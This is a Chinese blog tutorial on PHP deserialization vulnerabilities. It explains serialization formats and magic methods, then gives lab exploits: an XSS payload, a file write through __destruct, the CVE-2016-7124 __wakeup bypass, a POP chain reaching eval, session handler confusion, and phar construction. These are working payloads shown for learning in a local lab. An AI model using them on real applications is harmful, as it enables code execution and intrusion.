PHP反序列化


序列化

序列化

1.定义:

利用serialize()将一个对象转换为字符串

1.1先看一下直接输出对象

<?php
class test{
    public $name="ghtwf01";
    public $age="18";
}
$a=new test();
print_r($a);
?>

效果:

image-20210525181656203

1.2利用serialize()函数将这个对象进行序列化成字符串然后输出,代码:

<?php
class test{
    public $name="ghtwf01";
    public $age="18";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

效果:

img

1.3 如果不是public方法:

<?php
  class test{
   			public $name="ghtwf01";
        private $age="18";
        protected $sex="man";
}
 		$a=new test();
    $a=serialize($a);
    print_r($a);
?>

效果:

image-20210525183110080

private分析:

  • 发现原本age属性变成了testage

  • testage的长度并不是9,但长度显示为9

  • 解释:

    private属性序列化的格式是%00类名%00成员名

protect分析:

  • sex变成了*sex

  • 长度却是6

  • 解释:

    protect属性序列化的时候的格式是%00*%00属性名

反序列化

1. 定义:

利用unserialize()函数将一个经过序列化的字符串转换成一个php代码

<?php
    $b='O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}';
    $b=unserialize($b);
		print_r($b)
?>

效果:

image-20210525184734782

反序列化漏洞利用原理

1. php的魔术函数:

详解链接:https://segmentfault.com/a/1190000007250604

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

利用代码演示效果:

<?php
class test{
    public $a='hacked by ghtwf01';
    public $b='hacked by blckder02';
    public function pt(){
        echo $this->a.'<br />';
    }
    public function __construct(){
        echo '__construct<br />';
    }
    public function __destruct(){
        echo '__construct<br />';
    }
    public function __sleep(){
        echo '__sleep<br />';
        return array('a','b');
    }
    public function __wakeup(){
        echo '__wakeup<br />';
    }
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>

image-20210525185447767

最后两个__construct是在脚本结束后输出:

  • 实例化的时候new了一个对象
  • 反序列化的时候创建对象

2. 存在反序列化漏洞的代码

<?php
class A{
    public $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['value'];
$a_unser = unserialize($a);
?>

这样,我们可以将我们的代码,先进行序列化,再传入,上面的类中有echo函数,我们可以利用他来输出hacked by

注意:

  • 我们所进行序列化的代码必须和存在漏洞代码中的类的代码一样

POC:

<?php
 class A{
        public $test="hacked by ghtwf01";
    }
    $b= new A();
    $result=serialize($b);
    print_r($result);
?>
O:1:"A":1:{s:4:"test";s:17:"hacked by ghtwf01";}

image-20210525192705066

传送参数

http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:17:%22hacked+by+ghtwf01%22;}

image-20210525193535605

接下来,把那个执行代码,转换成危险代码,不如说xss

http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:29:%22<script>alert('xss')</script>%22;}

注意:

  • 修改代码后,记得修改长度参数

image-20210525194027386

尝试一道简单的反序列化题目

1. 本地环境搭建

phpstudy

文件php.php:

<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

flag.php由自己创建再题目代码的同一目录下

文件flag.php:

<?php
$flag='flag{You_Are_Great!!!}';
?>

payload:

<?php
$a="D0g3!!!";
$b=serialize($a);
print_r($b);
?>

image-20210525220601568

第二个例子

1. 题目代码

<?php
    class foo{
        public $file = "2.txt";
        public $data = "test";
        function __destruct(){
            file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data);
        }
    }
    $file_name = $_GET['filename'];
    print "You have readfile ".$file_name;
    unserialize(file_get_contents($file_name));
?>

这段代码中,又一个类foo,在他的对象被销毁的时候,会将$data部分的内容,写进$file命名的文件内,并且路径是当前目录.

2. POC:

<?php
class foo{
  public $file="1.php";
  public $data="<?php phpinfo();?>"; 
}
$a=new foo();
$b=serialize($a)
?>

2.1 得到序列化字符串:

O:3:"foo":2:{s:4:"file";s:5:"1.php";s:4:"data";s:18:"<?php phpinfo();?>";}

3. 之后,将其放进本地的一个文件中:

image-20210525224206875

4. 从首页中传入filename参数

http://localhost/php.php?filename=test.txt

image-20210525224352047

image-20210525224552853

CVE-2016-7124 __wakeup绕过

1. __wakeup函数简介:

unserialize()会检查是否存在一个__wakeup()方法,如果存在,就会首先调用这个方法,预先准备对象需要的资源

  • 反序列化的时候如果对象属性个数的值大于真是的属性个数的时候会跳过__wakeup执行

2. 漏洞影响版本:

  • php5 < 5.6.25
  • php7 < 7.0.10

3. 漏洞复现:

代码如下:

<?php
    class A{
        public $target = "test";
        function __wakeup(){
            $this->target = "wakeup!";
        }
        function __destruct(){
            $fp = fopen("hello.php","w");
            fputs($fp,$this->target);
            fclose($fp);
        }
    }
    $a = $_GET['test'];
    $b = unserialize($a);
    echo "hello.php"."<br/>";
    include("./hello.php");
?>

魔法函数要比__destruct()函数首先执行,所以我门直接传入

O:1:"A":1:{s:6:"target";s:19:"<?php phpinfo(); ?>";}

首先会被执行的是__wakeup()函数,这时候target函数值会被覆盖为wakeup!,然后生成hello.php里面的内容是__wakeup

考虑绕过:

  • 属性个数的值大于真实属性个数时就会跳过__wakeup执行

构造POC:

O:1:"A":2:{s:6:"target";s:19:"<?php phpinfo(); ?>";}

image-20210526074733666

注入对象构造方法

当目标对象被private和protected修饰时反序列化漏洞的利用

上面说了privateprotected返回长度和public不一样的原因

private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

protected情况下:

<?php
    class A{
        protected $test = "hahaha";
        function __destruct(){
            echo $this->test;
        }
    }
    $a = $_GET['test'];
    $b = unserialize($a);
?>

构造方式:

<?php
    class A{
        protected $test = "hahaha";
    }
    $a = new A();
    $b = serialize($a);
		print_r($b)
?>

得到字符串:

O:1:"A":1:{s:7:"*test";s:6:"hahaha";}

注意:

  • 此时的%00并没有显示出来,因此我们需要在传参的url中加上%00

image-20210526163844083

private情况下:

POC:

<?php
    class A{
        private $test = "hahaha";
    }
    $a = new A();
    $b = serialize($a);
		print_r($b)
?>

得到字符串:

O:1:"A":1:{s:7:"Atest";s:6:"hahaha";}

同理,我们仍然需要补足%00

image-20210526164503511

同名方法的利用

漏洞代码:

<?php
    class A{
        public $target;
        function __construct(){
            $this->target = new B;
        }
        function __destruct(){
            $this->target->action();
        }
    }
    class B{
        function action(){
            echo "action B";
        }
    }
    class C{
        public $test;
        function action(){
            echo "action A";
            eval($this->test);
        }
    }
    unserialize($_GET['test']);
?>
  • 很显然在代码中,我们希望执行的是C中的action函数,而不是b中的action函数.

POC:

<?php
class A{
    public $target;
    function __construct(){
        $this->target = new C;
        $this->target->test = "phpinfo();";
    }
    function __destruct(){
        $this->target->action();
    }
}
class C{
    public $test;
    function action(){
        echo "action C";
        eval($this->test);
    }
}
$a = new A();
echo serialize($a);
?>

得到字符串:

O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

image-20210526171507329

session反序列化漏洞

1. 什么是session

英文翻译为”会话”,两个人从开始到结束就构成了一个回话。php里的session主要指客户端浏览器与服务器端数据交换的回话,从浏览器打开到关闭的,一个最简单的回话周期

2. PHP session工作流程

当开始一个回话的时候,php会尝试在请求中查找会话ID,如果发现请求的CookieGetPost中不存在session idPHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post都不存在session id,于是就使用了set-cookie

img

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项

  • 会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:
<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'ghtwf01' ;
}
?>

创建一个session内容是username:ghtwf01

img

3. Php.ini配置

session.save_path=""      --设置session的存储位置
session.save_handler=""   --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start        --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy下上述配置如下:

session.save_path = "/tmp"      --所有session文件存储在/tmp目录下
session.save_handler = files    --表明session是以文件的方式来进行存储的
session.auto_start = 0          --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

有关phpsession和php处理器的详解:

https://xz.aliyun.com/t/6753

4. PHP session的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid形式

session.serialize_handler,它定义的引擎有三种

| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |

5.php处理器

  • 首先来看看session.serialize_handler等于php时候的序列化结果,代码如下
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');//设置处理器
session_start();
$_SESSION['session'] = $_GET['session'];
?>

image-20210526174616191

  • 到session的存储目录下看一下session

image-20210526174935895

session$_SESSION['session']的键名,|后为传入GET参数经过序列化后的值

image-20210526181438263

image-20210526181451610

session的反序列化漏洞利用

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理:

  • 在用session.serialize_handler = php_serialize存储的字符可以引入 |
  • 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

漏洞代码:

session.php:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

test2.php:

<?php
    error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
  class D0g3{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new D0g3();
 ?>

session.php文件的处理器是php_serializetest2.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,test2.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name
运行一下hello.php看一下效果

image-20210526185854390

POC:

<?php
    class D0g3{
    public $name = 'ghtwf01';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new D0g3();
  echo serialize($str);
 ?>

显示结果:

O:4:"D0g3":1:{s:4:"name";s:7:"ghtwf01";}

ghtwf01

image-20210526190228584

因为sessionphp_serialize处理器,所以允许|存在字符串中,所以将这段代码序列化内容前面加上|传入session.php
现在来看一下存入session文件的内容

image-20210526191013367

再打开test2.php

image-20210526191156820

Phar拓展反序列化攻击面

1. phar文件简介

概念:

一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自javajar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHPArchive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)

2. phar的组成结构:

stub: phar文件的标识,格式为xxx<?php xxx;__HALT_COMPILER();?>
mainfest: 也就是meta-data,压缩文件的属性等信息,以序列化储存
contents: 压缩文件的内容
signature: 签名,放在文件的末尾

image-20210527144404375

3. 前提条件:

php.ini中设置为phar.readonly=Off
php version>=5.3.0

phar反序列化漏洞

1. 漏洞成因:

phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将反序列化

2. demo测试

根据文件结构自己构建一个phar的文件,php内置了phar类处理相关操作

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

原文链接


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录